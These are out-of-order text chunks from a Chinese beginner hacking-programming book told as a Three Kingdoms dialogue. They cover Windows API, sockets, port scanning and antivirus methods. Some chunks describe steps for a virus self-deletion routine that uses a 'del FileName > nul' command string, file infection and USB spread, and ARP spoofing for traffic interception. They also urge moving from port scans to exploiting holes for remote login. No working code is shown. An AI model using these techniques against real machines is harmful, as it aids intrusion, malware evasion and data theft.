    {"text": "【第2步】构造远程进程命令参数 构造命令字符串“del FileName &gt; nul”传递给命令窗口，其中，FileName是需要删除文件的全路径文件名，文件名需要转换为DOS8.3格式，即第1步由GetShortPathName()函数得到的字符串指针。"},
    {"text": "【第3步】设置本进程优先级 由SetPriorityClass()函数和SetThreadPriority()函数共同完成。 1）SetPriorityClass()函数 功能： 设置一个进程的优先级。"},
    {"text": "【第4步】创建远程进程 通过CreateProcess()函数创建一个远程进程，命令窗口程序是由环境变量COMSPEC定义的，Win9x/ME使用COMMAND.COM，WinNT/2K/XP使用CMD.COM。"},
    {"text": "就这样，通过前面的5步，我最终就完成了病毒自删除功能，将军请看下面，这是SelfDelete()函数的完整代码。 利用这个函数，就可以实现自删除，将军可以将这段程序单独编译成一个EXE文件并运行，看看是否能将自身删除。"},
    {"text": "图9.11 3．文件感染与自删除 原来如此，U盘传播病毒的威力我算是见识到了，那怎么没看到文件感染呢？ 笨啊，那个Notepad.exe就是被感染之后的文件！ 哦，我刚还在纳闷病毒怎么带个记事本程序呢，我以为病毒也要“写日记呢”，哈哈！"},
    {"text": "图9.12 任务管理器中多了几个奇怪的进程（V80A58A.EXE、ZW7161B96.EXE、1D8CD9.EXE），其实这些进程都是刚才那个病毒释放的。 我们试着用安全软件扫描下，果真是中毒不浅啊，如图9.13所示。"},
    {"text": "你这么好学，我就指点一二吧，现在流行的反病毒技术有以下几种： ■ 特征码比对 特征码比对技术主要是用提取PE文件的特征，来辨别该文件是否存在恶意代码，就像在街上看到有人拿把菜刀乱晃，OK，这人不是个好人。"},
    {"text": "在灰鸽子时代来临以前，杀毒软件的技术关注点全部都在特征码杀毒上，研究的热点也在于如何编写高效的算法构建杀毒引擎（这个引擎很类似于字符串匹配算法）。"},
    {"text": "■ 主动防御 主动防御是通过动态监视所运行程序调用各种应用编程接口（API）的动作，自动分析程序动作之间的逻辑关系，从而判定程序行为的合法性。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 小小黑客之路 ——黑客工具、攻防及防火墙编程入门 ● ● ● ● ● 葛垚 主编 聂森 苗甦 陈沁茜 陈树林 著 電子工業出版社 Publishing House of Electronics Industry 北京·BEIJING"},
    {"text": "例如，常见的情况下，21端口主要提供ftp（文件传输）服务，23端口主要提供Telnet远程登录服务，25端口用于邮件的发送，80端口为用户进行网页浏览提供服务。"},
    {"text": "哦，端口是啥意思俺略懂了，可是这“端口扫描”是啥意思啊？ 端口扫描就是指对目标机器的各个端口进行扫描，根据其中对外开放的端口，分析对方开启的服务，例如，某个服务有可利用的远程溢出的漏洞的话，我们就可以直接利用了。"},
    {"text": "没，没啥，就是俺刚才想了几秒……3，3小时，终于明白了端口扫描是个啥意思，可是您知道俺是个打破砂锅问到底的人，俺光知道端口扫描是啥意思，可是这具体原理是啥啊？"},
    {"text": "5.1.1 端口扫描基本原理 实现端口扫描有几种不同的方式，包括TCP Connect扫描、TCP SYN扫描和TCP FIN扫描，它们优势各不相同，但都是利用TCP机制并使用Windows Sockets，下面将一一介绍这几种技术。"},
    {"text": "那我就给您讲一讲，Socket又称套接字，两台计算机可以很方便地利用Socket建立连接，并且在此连接上提供不同的服务。 Socket代表的不只是一种数据类型，而是一整套可以在计算机间提供各种服务的数据结构及API函数。"},
    {"text": "其过程为：向目标机器的某个端口发送一个SYN数据包（第一次握手），然后等待接收数据包，如果接收到一个SYN|ACK数据包（第二次握手），则判定该端口是开放的，否则该端口是关闭的。"},
    {"text": "TCP SYN扫描相对而言比较隐蔽，对方不容易察觉，但相较TCP Connect扫描更加复杂。 （3）TCP FIN扫描 与TCP SYN扫描不同，TCP FIN扫描是利用TCP连接的释放过程实现的。"},
    {"text": "确实，TCP SYN扫描和TCP FIN扫描的实现都比较复杂，并且牵扯大量TCP协议结构、数据包收发及捕获等你尚未掌握的技术，所以今天我只教给您如何用TCP Connect扫描实现端口扫描器。 TCP Connect扫描实现的具体步骤如下，流程中的各个API函数是以前讲解过的，这里就不再为将军赘述了。"},
    {"text": "将军果然“冰雪聪明”，这种细节都能注意的到，在TCP Connect扫描的实际应用中，若目标IP地址不存在，或者目标端口是关闭的，connect()往往要花费数秒钟才可以返回SOCKET_ERROR。 若需要扫描大量的IP地址和端口，在同一线程内循环调用connect()函数必定会使扫描的效率极其低下。"},
    {"text": "例如，在银行中，计算机利用一个线程更新账户数据，利用另一个线程来读取账户数据，则有可能出现读取的数据是没有被更新的账户数据的情况。"},
    {"text": "使用多线程往往还存在一个问题，假设现在有a和b两个并行线程，开发者希望线程a在执行完语句m后，线程b再执行语句n，这意味着线程b在有些时候需要暂停执行，来等待线程a，这就需要一种线程同步机制来对各个线程的步伐进行协调。"},
    {"text": "线程要访问这些共享资源，要先进入临界区，这时其他线程因不能进入临界区进行访问而被挂起，直到占用临界区的线程退出，这样，就解决了线程异步的问题。 2．互斥量 互斥量的实现与临界区类似，通过创建一个类似于令牌互斥量来实现，只有拿到“令牌”的线程才有权力对共享资源进行访问，访问结束后，线程将“令牌”交出。"},
    {"text": "lpName：该事件对象的命名，若为NULL，则创建的事件对象没有名称。 返回值： 若创建成功，返回新创建的事件对象的句柄，否则返回NULL。 （2）OpenEvent()函数 功能： 根据LpName来打开一个已经创建的事件对象。 参数： dwDesiredAccess：打开该事件对象的权限。"},
    {"text": "4．信号量 与以上方法不同，信号量允许多个线程同时访问同一个共享资源，但它限制了在同一时刻对共享资源进行访问的线程数量。 在信号量对象被创建时，需要给出当前可用共享资源数量以及共享资源总数量，当一个线程要访问共享资源时，可用资源数减1，只要减1后可用资源数大于0，信号量对象就会发出信号，但当可用资源数小于或等于0时，信号量就不会发出信号。"},
    {"text": "（1）CreateSemaphore()函数 功能： 创建一个信号量对象。 参数： lpSemaphoreAttributes：被创建的信号量对象的安全属性，一般设为NULL，即信号量对象的安全属性为默认属性。"},
    {"text": "lpName：被创建的信号量对象的命名，若为NULL，则该信号量对象没有命名。 返回值： 若创建成功，返回该信号量对象的句柄，若此信号量对象在之前已经被创建，则返回先前创建的信号量对象句柄，若创建失败则返回NULL。"},
    {"text": "StartScanner()函数如下： 在StartScanner()函数中调用了InitPortScan()函数来初始化网络，InitPortScan()函数如下： 在StartScanner()函数中还使用了MainThreadParam类型的结构体，在创建新线程的时候传递参数，MainThreadParam结构体如下： 在StartScanner()函数中创建新线程后，MainThread()函数开始在新线程中执行，MainThread()函数如下： 在MainThread()函数中使用了ThreadParam结构体来向新线程传参，ThreadParam结构体如下： MainThread()函数的作用是循环创建新线程，在每个新线程中都要调用PortScanthread()函数，PortScanthread()函数如下： 在PortScanthread()函数中完成了对目标IP和端口的扫描，并将扫描结果显示到UI上，UI部分的几个函数的代码如下： 以上就是整个端口扫描的核心代码。"},
    {"text": "在扫描过程中，最先显示出扫描结果的都是些开放端口，而关闭的端口的扫描结果总是要慢几秒才能被显示出来，可以想象，如果使用单线程进行扫描的总扫描时间会相当长。"},
    {"text": "可以看出，扫描程序的总线程数最多为258个（256个connect线程加一个主扫描线程，再加一个窗口线程，一共258个线程），由此可见，信号量对象对线程总数的控制起了作用。"},
    {"text": "对啊，通过端口扫描，我们可以了解到远程主机的端口提供的服务及服务的版本，这使得我们直接或间接地了解了远程主机的安全问题。 按照网络入侵的一般步骤，端口扫描的下一步应该是漏洞扫描，将军可以去了解一些漏洞扫描及利用方面的知识，学习编写或使用一些漏洞扫描的工具，之后便可以利用漏洞远程登录到远程主机中。"},
    {"text": "今天学习的Socket不仅可以用来实现端口扫描器，也可以用来捕获TCP、UDP和ICMP等数据包，将军若有兴趣可以尝试一下。 过几天，我们将学习如何使用WinPcap捕获和发送数据包，之后，就可以尝试使用TCP SYN的方法实现端口扫描了。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 第10回 漏洞是个什么洞 不论是软件上还是硬件上一个小小的缺陷——漏洞，就可以让你的已经防备到牙齿的计算机“溃于蚁穴”。学习如何利用漏洞编写黑客程序是黑客的必修课程。 在久经张飞的进攻后，曹操开始学聪明了，他想来个一劳永逸的方法，于是费了好大劲将自己的电脑武装到了牙齿，他装了杀毒软件、防火墙，所有能保证系统安全的其他软件他都装了，可惜曹操却忘了一件事，那就是给自己的系统打补丁，他自以为固若金汤的电脑也即将因此溃于蚁穴。张飞知道曹操这个老糊涂没有打补丁后，甚是高兴，他去网上找了几个漏洞利用工具，就对着曹操的电脑一个个尝试，果然没试几个就成功入侵了。曹操的电脑基本没出现任何异常的迹象，防火墙也没有任何反应，只是出现了一个内存读写错误的提示框，糊涂的曹操并不在意，点了个取消就继续玩游戏了，可他并不知道张飞此时正在偷看曹操保存在电脑上的日记，而且顺便标记了一下，方便下次继续看。过了很长时间，曹操才发现张飞留下的痕迹，不禁感叹，张飞真是神了，电脑武装成这样都能入侵，但他没有盲目崇拜张飞，他记起了当时那个内存读写错误的提示框，顺着这个线索，曹操终于查出张飞是利用自己电脑上的漏洞入侵的，于是立即为自己的电脑打全了补丁。当张飞想再次入侵曹操电脑继续偷看日记时，却是无功而返。 小小黑客之路：黑客工具、攻防及防火墙编程入门 进阶篇 小小黑客之路：黑客工具、攻防及防火墙编程入门 第3回 黑客眼中的Windows程序设计 为你介绍Windows API、动态链接库、进程、线程，以及网络编程等有关黑客编程的基础知识。 话说张飞在Visual C++ 2008的编程环境下学习了编程数天，基本把语法都学会了，但继而就遇到了瓶颈，自己编写的那些傻瓜程序，根本体现不出什么作用，更不用说是用来入侵宿敌曹操的电脑了，实在是让人泄气。 还需要利用什么才能编写像样的黑客工具呢？他只好前去请教诸葛亮，终于得到了自己想要的答案：“调用Windows API”。张飞欣喜若狂，在诸葛亮的帮助下，对API这个东西有了一定的了解。他发现API被传得神乎其神，有说是盘古开天辟地时留下的战斧，更有说得到这把战斧，就可以劈山成河。仔细想想，API虽不至于如传说的这般，但斩了曹操的电脑肯定不在话下。张飞于是奋发图强，没过多久就把Windows API学了个熟练。Windows API的本质就是Windows系统留给程序员编程的接口，它确实功能强大，完全可以帮助自己编写和黑客有关的程序。张飞心里沾沾自喜，已经构思出了入侵曹操电脑的伟大宏图。 小小黑客之路：黑客工具、攻防及防火墙编程入门 综合篇"},
    {"text": "心急吃不了热豆腐，在熟练掌握C/C++语言之后，就可以进入黑客程序设计阶段了，我们可以使用Windows操作系统提供给很多应用程序的编程接口（API，Application Programming Interface，应用程序编程接口），这些接口为黑客编程提供了平台。"},
    {"text": "那我便简要概述下Windows程序设计的主要方法，其中包括Windows API、动态链接库、进程和线程等知识，当然，通过以后具体的编程还可以进一步理解Windows程序设计。"},
    {"text": "3.1.1 Windows API概述 具体来说，API（Application Programming Interface，应用程序编程接口）是一些预先定义的函数，目的是向应用程序与开发人员提供基于某软件或硬件的访问一组例程的能力，而又无须访问源码，或理解内部工作机制的细节。"},
    {"text": "（1）窗口管理 窗口管理函数向应用程序提供了一些创建和管理用户界面的方法。 开发人员可以使用窗口管理函数，创建和使用窗口来显示输出、提示用户进行输入，以及完成其他一些与用户进行交互所需的工作。"},
    {"text": "（4）图形设备接口（GDI） 该接口提供了一系列的函数和相关的结构，应用程序可以使用它们在显示器、打印机或其他设备上生成图形化的输出结果。 使用GDI函数可以绘制直线、曲线、闭合图形、路径、文本及位图图像。"},
    {"text": "例如，应用程序可使用内存管理函数来分配和释放内存，使用进程管理和同步函数来启动和调整多个应用程序或在一个应用程序中运行的多个线程的操作。"},
    {"text": "系统服务函数提供了访问文件、目录及输入输出（I/O）设备的手段。 应用程序使用文件I/O函数可以访问保存在指定计算机，以及网络计算机磁盘和其他存储设备上的文件和目录。"},
    {"text": "系统访问函数为应用程序提供了一些可以与其他应用程序共享代码或信息的方法。 使用系统服务函数，可以访问有关系统和其他应用程序的信息。 应用程序使用系统服务函数，可以处理执行过程中的一些特殊情况，比如错误处理、事件日志、异常处理以及一些可用于调试和提高性能的属性。 系统服务函数还提供了一些特性，可用于创建其他类型的应用程序，比如控制台应用程序和服务。"},
    {"text": "（7）网络服务 允许网络上的不同计算机之间的不同应用程序进行通信，用于在各计算机上创建和管理共享资源的连接，如共享目录和网络打印机。"},
    {"text": "又转移话题…… 3.1.3 使用Windows API 传统的Windows编程主要是利用API函数，而Windows API是在以C语言作为主要通用语言的时代开发的，因此经常用来在Windows和应用程序之间传送数据的是结构体。"},
    {"text": "创建动态链接库工程的方法和创建其他工程差别不大，下面就为你演示下。 3.2.2 编写动态链接库 1）新建项目，选择Win32项目，在名称中输入“CustomDll”，单击“确定”按钮。"},
    {"text": "图3.2 2）从菜单栏中单击“项目”→“添加新项”命令，在弹出的“添加新项”对话框中选择“头文件(.h )”，在“名称”文本框中输入“CustomDll”，单击“添加”按钮，并在其中加入如下代码。 3）从菜单栏中单击“项目”→“添加新项”命令，在弹出的“添加新项”对话框中选择“C++文件(.cpp)”，在“名称”文本框中输入“CustomDll”，单击“添加”，并在其中加入如下代码。"},
    {"text": "这段代码好奇怪啊，俺只知道main()函数，从没见过什么DllMain()。 这个DllMain()就是动态链接库的入口点，Windows在库装载、卸载，线程创建和结束时都要调用入口函数，以便动态链接库可以采取相应的动作。"},
    {"text": "要想将函数导出供其他模块调用，需要在头文件中进行声明。 例如，在本例中的函数即为导出函数，在头文件“CustomDll.h”中进行了声明。"},
    {"text": "1．隐式动态链接 模块可以像调用本地函数一样调用从其他模块导入的函数，但这种方法必须使用DLL的导入库（.lib文件），它为系统提供了加载这个DLL和定位DLL中的导入函数所需的信息。"},
    {"text": "新建一个名称为“TestDll”的Win32控制台项目，并添加C++文件“TestDll. cpp”。 然后在前面编写的DLL项目中把“CustomDll.h”、“CustomDll.lib”、“CustomDll.dll”三个文件复制到TestDll目录下，最后在“TestDll.cpp”文件中加入如下代码。"},
    {"text": "图3.3 2．显式动态链接 模块使用LoadLibrary()或者LoadLibraryEx()函数显式加载DLL。 DLL被加载之后，加载模块调用GetProcAddress()函数取得DLL导出函数的地址，然后通过函数地址调用DLL中的函数。 显示动态链接是在程序运行过程中显式地去加载DLL库，从中导出需要的函数。 一般需要在原DLL工程中建立一个模块定义文件（DEF）来指定要导出的函数。 在原CustomDll工程中，单击菜单栏的“项目”→“添加新项”命令，在弹出的“添加新项”对话框中选择“模块定义文件(.def)”，输入名称“CustomDll”，单击“添加”按钮，并在其中加入如下内容： 这两行代码说明此DLL库要向外导出DLLFuncAdd函数，最后按“F7”键重新编译CustomDll工程。"},
    {"text": "调用DLL导出函数分为3步进行。 1）声明要导出的DLL函数，注意类型和参数的一致性。 2）加载目标DLL，利用LoadLibrary()函数加载指定目录下的DLL库到进程的虚拟地址空间，函数执行成功，返回此DLL模块的句柄，否则返回NULL。"},
    {"text": "LoadLibrary()函数声明如下： 功能： 加载指定名称的动态链接库。 参数： lpFileName：动态链接库的名称。 返回值： 函数执行成功返回动态链接库的句柄。"},
    {"text": "3）最后由GetProcAddress()函数来获得目标DLL中导出函数的地址。 GetProcAddress()函数声明如下： 功能： 获得目标动态链接库中导出函数的地址。"},
    {"text": "当应用程序运行时，就好比被装入到这个容器中了，同时，还可以往该容器中加入其他配件，例如，应用程序在运行时所需的变量数据和需要引用的DLL文件等。 当应用程序被重复运行时，系统会找一个新的进程容器来容纳第二次运行时键入的新配件。"},
    {"text": "2．线程 是进程中的一个实体，是被系统独立调度和分派的基本单位。 线程自己不拥有系统资源，只拥有一点在运行中必不可少的资源，但它可与同属一个进程的其他线程共享进程所拥有的全部资源。 一个线程可以创建和撤销另一个线程，同一进程中的多个线程之间可以并发执行。"},
    {"text": "一个进程可以包含若干线程，线程可以帮助应用程序同时做几件事（比如一个线程向磁盘写入文件，另一个则接收用户的按键操作并及时做出反应，互不干扰），在程序运行中，系统首先要做的就是为该程序进程建立一个默认线程，默认线程也称为主线程。"},
    {"text": "线程和进程的区别在于，任意两个进程有不同的代码和数据空间，而多个线程则共享数据空间，每个线程有自己的执行堆栈和程序计数器为其执行上下文。"},
    {"text": "线程的划分尺度小于进程，使得多线程程序的并发性高。 另外，进程在执行过程中拥有独立的内存单元，而多个线程共享内存，从而极大地提高了程序的运行效率。"},
    {"text": "3.4.1 TCP/IP协议概述 确切地说，TCP/IP协议是一组包括TCP协议和IP协议，UDP（User Datagram Protocol）协议、ICMP（Internet Control Message Protocol）协议和其他一些协议的协议组。"},
    {"text": "而TCP/IP通信协议采用了四层的层级结构，每一层都呼叫它的下一层所提供的网络来完成自己的需求。 这四层分别为： 1）应用层——应用程序间沟通的层，如简单电子邮件传输（SMTP）、文件传输协议（FTP）、网络远程访问协议（Telnet）等。 2）传输层——在此层中，提供了节点间的数据传送服务，如传输控制协议（TCP）、用户数据报协议（UDP）等，TCP和UDP给数据包加入传输数据并把它传输到下一层中，这一层负责传送数据。 3）互连网络层——负责提供基本的数据封包传送功能，让每一块数据包都能够到达目的主机（但不检查是否被正确接收），如网际协议（IP）。 4）网络接口层——对实际的网络媒体的管理，定义如何使用实际网络（如Ethernet、Serial Line等）来传送数据。"},
    {"text": "3.4.2 Winsock入门 Windows Sockets（Windows套接字，简称Winsock）是Windows下得到广泛应用的、开放的、支持多种协议的网络编程接口。 Winsock规范是以U.C. Berkeley大学BSD UNIX中流行的Socket接口为范例定义的一套Microsoft Windows下网络编程接口。"},
    {"text": "它不仅包含了人们所熟悉的Berkeley Socket风格的库函数，也包含了一组针对Windows的扩展库函数，以使程序员能充分地利用Windows消息驱动机制进行编程。"},
    {"text": "Windows Sockets规范本意在于提供给应用程序开发者一套简单的API，并让各家网络软件供应商共同遵守。 任何能够与Windows Sockets兼容实现协同工作的应用程序就被认为是具有Windows Sockets接口。 通常称这种应用程序为Windows Sockets应用程序。 Windows Sockets规范定义并记录了如何使用API与Internet协议族连接，尤其要指出的是所有的Windows Sockets实现都支持流套接字和数据报套接字。 应用程序调用Windows Sockets的API实现相互之间的通信。 Windows Sockets又利用下层的网络通信协议功能和操作系统调用实现实际的通信工作。"},
    {"text": "一个正在被使用的套接字都有它的类型和与其相关的进程。 套接字存在于通信域中。 通信域是为了处理一般的线程通过套接字通信而引进的一种抽象概念。 套接字通常和同一个域中的套接字交换数据（数据交换也可能穿越域的界限，但这时一定要执行某种解释程序）。"},
    {"text": "图3.4 1．Winsock工作方式 两个TCP套接字在开始传输数据之前，必须先建立一个连接，也就是说由一方首先向另一方发送请求信息，双方互相确认后才能开始通信。"},
    {"text": "从TCP协议的特征可以看出通信双方的工作方式是不同的，这种工作方式可以用客户机／服务器模型（Client/Server或C/S）来描述，通信的发起端称为客户机，通信等待方称为服务器，如图3.5所示，显示了两者工作方式的不同。"},
    {"text": "图3.5 客户端在发送UDP数据包前，不需要先与服务器端进行相互确认，不管服务器是否在线，是否已经准备接收UDP数据包，客户端都可以随时发送数据。 由于UDP协议是无连接的，所以通过一个UDP套接字可以向任何服务器地址发送数据，而不需要创建多个套接字。 但UDP协议不对数据的可靠性与有序性等进行控制，它不是面向连接的，而是直接将数据包按照指定IP地址和端口发出，如果对方不在线，则数据就会丢失。 在客户端，UDP套接字不必经过连接的过程就可以直接发送数据。 在服务器端，UDP套接字无所谓是否进入“监听”状态，只要有数据发送到套接字对应的端口，就可以被接收，所以TCP类型程序架构中的连接（connect）、监听（listen）和接受连接（accept）等动作都是不存在的。 服务器和客户端唯一的区别就是服务器端程序必须首先将套接字绑定到一个固定的端口，以便客户端能够向约定的端口发送数据，如图3.6所示。"},
    {"text": "2．Winsock相关函数 （1）WSAStarup()函数 功能： 该函数用于初始化WS2_32动态库，一般是应用程序第一个调用的Windows Socket函数，用于确定Windows Socket使用的版本。"},
    {"text": "type表示套接字类型，如果为SOCK_STREAM，表示创建面向连接的流式套接字； 如果为SOCK_DGRAM，表示创建面向无连接的数据包套接字； 如果为SOCK_RAW，表示创建原始套接字。"},
    {"text": "（3）connect()函数 功能： 使用TCP套接字进行通信时，客户端必须使用该函数用于发送一个连接请求，连接到指定端口。 发起连接时，系统会自动为套接字选择一个空闲的端口，如果一定要用特定的端口连接到服务器端，可以在调用connect函数前用bind函数将套接字绑定到指定的端口上。"},
    {"text": "今天俺学习了Windows API、动态链接库、进程与线程、网络编程基础，这些东西让俺意识到原来编程不仅是计算A+B的问题，还可以完成这么多复杂的功能。 嗯，还有几点你是要牢记的：Windows API作为Windows编程的接口，尤为重要，感兴趣的话可以查找API的函数列表，更进一步了解它的工作方式；"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 第13回 防火墙说，你不受欢迎 网络防御与网络攻击是永远的盾和矛，了解SPI防火墙如何使用SPI技术对进出本机的数据进行过滤，可以让你在一定程度上了解如何防止黑客的攻击。 话说自打上次木马事件后，张飞给曹操造成了很大的创伤，这创伤不仅是因为曹操的机器又一次被张飞入侵了，而且是因为曹操觉得经历了这么多，张飞已经不是当年的张飞了，他的编程水平有了很大的提升，而自己依然是当年那个曹操，于是曹操下定决心，自己也要努力学习编程。终于，经过潜心学习后，曹操也不再是当年那个曹操了，只要是张飞会的，曹操都学会了。曹操作为一个上进心很强的人，他心想，就算是张飞不会的，他也要学会。而且，正义的曹操并不像张飞那么邪恶（虽然三国里不是这么说的），老是想着入侵别人，为了体现自己正义的精神和编程能力，曹操努力探索、敢于创新，最终编写了一个SPI防火墙。当然，对于雄心勃勃的曹操来说，SPI防火墙只是一个开始，随后，他又编写了一系列的安全工具，他的电脑依然是武装到牙齿，但所有的装备都是曹操亲手打造的。 张飞听说曹操是使用SPI防火墙阻断了自己的攻击，而自己却还不知道SPI防火墙是个什么东西，顿时自叹不如，好强的张飞实在是不甘心在这件事情上输给曹操，于是每天缠着诸葛亮，要他教给自己SPI防火墙的知识。 小小黑客之路：黑客工具、攻防及防火墙编程入门 1.4 茅庐对话 张飞看着自己记得满满几页的笔记，对诸葛亮说： 今天实在是不枉此行，跟着军师学习了这么多黑客相关的知识，希望我可以早日步入黑客之门。 那你倒是说说今天都学了什么？ 今天您对黑客的发展史和黑客编程的原理，以及黑客工具做了简单介绍，纠正了大家眼中对黑客的负面印象。 真正的黑客并非人们眼中的破坏者，而是系统安全的建设者、网络发展的推动者。我们学习黑客编程，不仅仅在于学习各种黑客工具和技巧的实现，更重要的是学习黑客们对技术的无限热情和永无止境的追求。学海无涯，而无限的探索热情便是前进的动力。之后的黑客编程学习道路或许并非轻轻松松、一帆风顺，但贵在坚持，希望你能持之以恒，将黑客技术的学习进行到底！ 今天军师还给俺介绍了不少好东西：常用黑客工具和黑客编程辅助工具。 那我就再给你布置个课外作业，你回去后，按上面附的所有工具的网址去对它们进行一个更为深入的了解吧。"},
    {"text": "嘿嘿，军师当年在东吴黑战群儒，让俺崇拜得五体投地，不，六体、七体投地，俺想通了，就跟军师学黑客技术，以报一箭之仇，希望军师可以教我两招。"},
    {"text": "1.1.1 黑客的兴起及发展 黑客（Hacker）一词源于英文动词Hack，意为“劈，砍”，可引申为“干了一件非常漂亮的工作”。 在早期麻省理工学院的校园俚语中，“黑客”一词有“恶作剧”之意，且特指手法巧妙、技术高明的恶作剧。 在日本《新黑客词典》中对黑客有这样的定义：喜欢探索软件程序奥秘，并从中增长了其个人才干的人。"},
    {"text": "当我们通览黑客的历史能发现：它的产生与发展是建立在时代的背景之上，且与计算机技术的发展紧密相连。 因此，“黑客史”其实就是一部计算机发展的历史。"},
    {"text": "黑客的存在，事实上是对计算机最大潜力的一种探索，为计算机技术的发展做出了巨大贡献。 也正是这些黑客，主导了一场个人计算机革命，他们是计算机发展史上的英雄。"},
    {"text": "目前，黑客使用的侵入计算机系统的基本技巧，如破解口令（Password Cracking）、走后门（Backdoor）、安放特洛伊木马（Trojan Horse）等，都是在这一时期发明的。"},
    {"text": "而此时，计算机空间已私有化，成为了一种私有财产，社会也不能再对黑客行为放任不管，必须利用法律等手段来进行控制，黑客活动受到了空前的打击。"},
    {"text": "因为骇客的进入门槛低，所以网络上出现了越来越多的骇客，良莠不齐的骇客们带来了基于各种各样目的的入侵甚至是破坏，这不仅无益于计算机技术的发展，还损害了网络的安全，给人们带来了巨大的经济和精神损失，造成了非常严重的社会影响。"},
    {"text": "普通人并不了解黑客与骇客的区别，常常错误地将二者等同起来。 如今在人们眼中，黑客成了网上捣乱分子和犯罪分子的代名词，很大程度上是由于有些不法骇客以“黑客”之名自居。 事实上，黑客（Hacker）和骇客（Cracker）是有天壤之别的。 一言以蔽之，黑客们建设，骇客们破坏！"},
    {"text": "11）已侵入计算机中的账号不得删除或修改。 12）不得修改系统文件，如果为了隐藏自己的侵入而做的修改则不在此限制内，但仍需维持原来系统的安全性，不能为得到系统的控制权而破坏原有的安全性。 13）不得将你已破解的账号分享给你的朋友。"},
    {"text": "现在，政府和公司的管理者越来越多地要求黑客传授给他们有关计算机安全的知识。 许多公司和政府机构已经邀请黑客为他们检验系统的安全性，甚至还请他们设计新的网络安全规程。 不可否认，黑客正在对计算机安全防护技术的发展做出贡献。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 高级篇 小小黑客之路：黑客工具、攻防及防火墙编程入门 目录 前言 严正声明 反侵权盗版声明 入门篇 第1回 我是黑客，我不是骇客 1.1 什么是黑客 1.1.1 黑客的兴起及发展 1.1.2 黑客文化 1.2 黑客工具简介 1.3 黑客编程工具简介 1.4 茅庐对话 第2回 黑客的编程利器 2.1 Visual C++ 2008简介 2.1.1 回顾Visual C++历史 2.1.2 配置Visual C++ 2008 2.2 在Visual C++ 2008中写出第一个程序 2.2.1 建立程序的“工程” 2.2.2 编写代码 2.2.3 运行第一个程序 2.3 Debug调试程序 2.4 茅庐对话 第3回 黑客眼中的Windows程序设计 3.1 Windows API简介 3.1.1 Windows API概述 3.1.2 Windows API分类 3.1.3 使用Windows API 3.2 动态链接库简介 3.2.1 动态链接库概述 3.2.2 编写动态链接库 3.2.3 使用动态链接库 3.3 进程与线程简介 3.3.1 进程与线程的概述 3.3.2 进程与线程的异同 3.4 Windows网络编程基础 3.4.1 TCP/IP协议概述 3.4.2 Winsock入门 3.5 茅庐对话 第4回 潜伏在优雅的界面之下 4.1 用户界面导引 4.2 消息循环和事件响应 4.2.1 消息循环 4.2.2 事件响应 4.3 用户界面绘制 4.3.1 控件简介 4.3.2 绘制星号密码查看器 4.4 完整实例 4.5 茅庐对话 进阶篇 第5回 警报！遭到扫描 5.1 原理及相关技术 5.1.1 端口扫描基本原理 5.1.2 多线程控制 5.2 UI设计 5.3 代码的实现与测试 5.3.1 代码实现 5.3.2 测试 5.4 茅庐对话 第6回 信注册表，没有不可能 6.1 原理及相关技术 6.1.1 注册表基础知识 6.1.2 注册表编程 6.2 UI设计 6.3 代码实现与测试 6.3.1 代码实现 6.3.2 测试 6.4 茅庐对话 第7回 数据窃听风云 7.1 原理及相关技术 7.1.1 WinPcap导入 7.1.2 Sniffer嗅探原理 7.1.3 数据包分析 7.2 UI设计 7.3 代码实现与测试 7.3.1 代码实现 7.3.2 测试 7.4 茅庐对话 高级篇 第8回 以你的名义欺骗你 8.1 原理及相关技术 8.1.1 ARP协议工作原理 8.1.2 ARP欺骗原理 8.2 UI设计 8.3 代码的实现与测试 8.3.1 代码实现 8.3.2 测试 8.4 茅庐对话 第9回 病毒，又见病毒 9.1 原理及相关技术 9.1.1 U盘传播技术 9.1.2 文件感染技术 9.1.3 自删除技术 9.2 UI设计 9.3 代码的实现与测试 9.3.1 代码实现 9.3.2 测试 9.4 茅庐对话 第10回 漏洞是个什么洞 10.1 漏洞利用原理 10.1.1 堆栈工作原理 10.1.2 栈溢出原理及利用 10.2 编写ShellCode 10.2.1 通用MessageBox ShellCode 10.2.2 通用URLDownloadToFile&ShellExecute ShellCode 10.3 漏洞情景分析 10.3.1 MS06-040漏洞分析 10.4 茅庐对话 第11回 后门是个什么门 11.1 相关原理及技术 11.1.1 后门架构总览 11.1.2 服务端编写 11.1.3 Loader编写 11.1.4 DLL编写 11.1.5 客户端编写 11.1.6 身份验证 11.2 UI设计 11.3 代码实现与测试 11.3.1 代码实现 11.3.2 测试 11.4 茅庐对话 综合篇 第12回 特洛伊那匹不吃草的马 12.1 原理及相关技术 12.1.1 功能概述 12.1.2 通信模块 12.1.3 远程信息 12.1.4 进程管理 12.1.5 远程CMD 12.1.6 键盘监控 12.1.7 文件管理 12.1.8 远程桌面 12.1.9 其他功能 12.2 UI设计 12.3 代码实现与测试 12.3.1 代码实现 12.3.2 测试 12.4 茅庐对话 第13回 防火墙说，你不受欢迎 13.1 相关原理及技术 13.1.1 SPI介绍 13.1.2 分层服务提供者的安装和卸载 13.1.3 LSP的编写 13.1.4 过滤 13.2 UI设计 13.3 代码实现及测试 13.3.1 整体结构 13.3.2 FireWall项目 13.3.3 FireWallDll项目 13.3.4 测试 13.4 茅庐对话 附录A 网络协议概览 附录B PE文件格式"},
    {"text": "ARP欺骗是黑客在局域网内常用的攻击手段之一。 利用ARP欺骗技术，黑客可以让局域网内某一台PC将所有本该发送到网关的数据包转而发送到自己的网卡上，再结合之前学过的Sniffer嗅探技术，便可轻而易举地从被欺骗的PC发送的数据包中获取大量的信息。"},
    {"text": "将PC所有本应发送到网关的数据包转而发送到不存在的MAC地址处，这样一来，网关便不知道这台主机的存在，黑客便可以使用该PC的IP地址和MAC地址进行其他破坏活动，而原PC却成了替罪羊。"},
    {"text": "然而，为了使数据包可以在物理层上传输，还必须知道对方的MAC地址，因此，各个主机或路由都要将IP地址映射为MAC地址。 在每台主机或路由上都有一个ARP缓存表，将军可以打开“命令提示符”窗口，键入命令“arp -a”，就会出现一张表，主机正是通过这张表将IP地址映射为MAC地址的。 哦～所以，如果主机A要向主机B发送数据包，首先要在自己的ARP缓存表中找到B的MAC地址，然后才能实现发送操作，我说的没错吧，先生？"},
